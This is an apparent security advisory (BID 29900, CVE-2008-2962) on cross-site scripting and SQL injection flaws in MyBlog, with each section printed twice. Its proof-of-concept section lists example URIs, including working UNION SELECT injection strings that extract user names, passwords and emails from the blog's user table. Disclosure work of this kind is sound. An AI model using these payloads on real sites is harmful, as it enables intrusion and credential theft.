MyBlog Cross-Site Scripting and SQL Injection Vulnerabilities
BID:29900
Info
MyBlog Cross-Site Scripting and SQL Injection Vulnerabilities
| Bugtraq ID: | 29900 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2962 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 23 2008 12:00AM |
| Updated: | May 07 2015 05:28PM |
| Credit: | CWH Underground |
| Vulnerable: |
MyBlog MyBlog 0 |
| Not Vulnerable: | |
Discussion
MyBlog Cross-Site Scripting and SQL Injection Vulnerabilities
MyBlog is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and multiple SQL-injection issues, because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
MyBlog is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting issues and multiple SQL-injection issues, because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
MyBlog Cross-Site Scripting and SQL Injection Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting vulnerability, the attacker must entice a victim user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/os/index.php?view=[SQLInjection]
http://www.example.com/os/member.php?id=[SQLInjection]
http://www.example.com/os/post.php?id=[SQLInjection]
http://www.example.com/os/index.php?view=cwh'/**/UNION/**/SELECT/**/1,2,email,concat(user,0x3a,password),5,6,7,8,9,10,11/**/FROM/**/myblog_users/**/WHERE/**/perm='1
http://www.example.com/os/member.php?id=-9999'/**/UNION/**/SELECT/**/concat(user,0x3a,password),2,3,email,5,6,7,8,9,10/**/FROM/**/myblog_users/**/WHERE/**/perm='1
http://www.example.com/os/post.php?id=-9999'/**/UNION/**/SELECT/**/1,2,email,concat(user,0x3a,password),5,6,7,8,9,10,11/**/FROM/**/myblog_users/**/WHERE/**/perm='1
http://www.example.com/os/index.php?s=[XSS]
http://www.example.com/os/index.php?sort=[XSS]
http://www.example.com/os/post.php?id=[XSS]
An attacker can exploit these issues via a browser. To exploit a cross-site scripting vulnerability, the attacker must entice a victim user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/os/index.php?view=[SQLInjection]
http://www.example.com/os/member.php?id=[SQLInjection]
http://www.example.com/os/post.php?id=[SQLInjection]
http://www.example.com/os/index.php?view=cwh'/**/UNION/**/SELECT/**/1,2,email,concat(user,0x3a,password),5,6,7,8,9,10,11/**/FROM/**/myblog_users/**/WHERE/**/perm='1
http://www.example.com/os/member.php?id=-9999'/**/UNION/**/SELECT/**/concat(user,0x3a,password),2,3,email,5,6,7,8,9,10/**/FROM/**/myblog_users/**/WHERE/**/perm='1
http://www.example.com/os/post.php?id=-9999'/**/UNION/**/SELECT/**/1,2,email,concat(user,0x3a,password),5,6,7,8,9,10,11/**/FROM/**/myblog_users/**/WHERE/**/perm='1
http://www.example.com/os/index.php?s=[XSS]
http://www.example.com/os/index.php?sort=[XSS]
http://www.example.com/os/post.php?id=[XSS]
Solution / Fix
MyBlog Cross-Site Scripting and SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].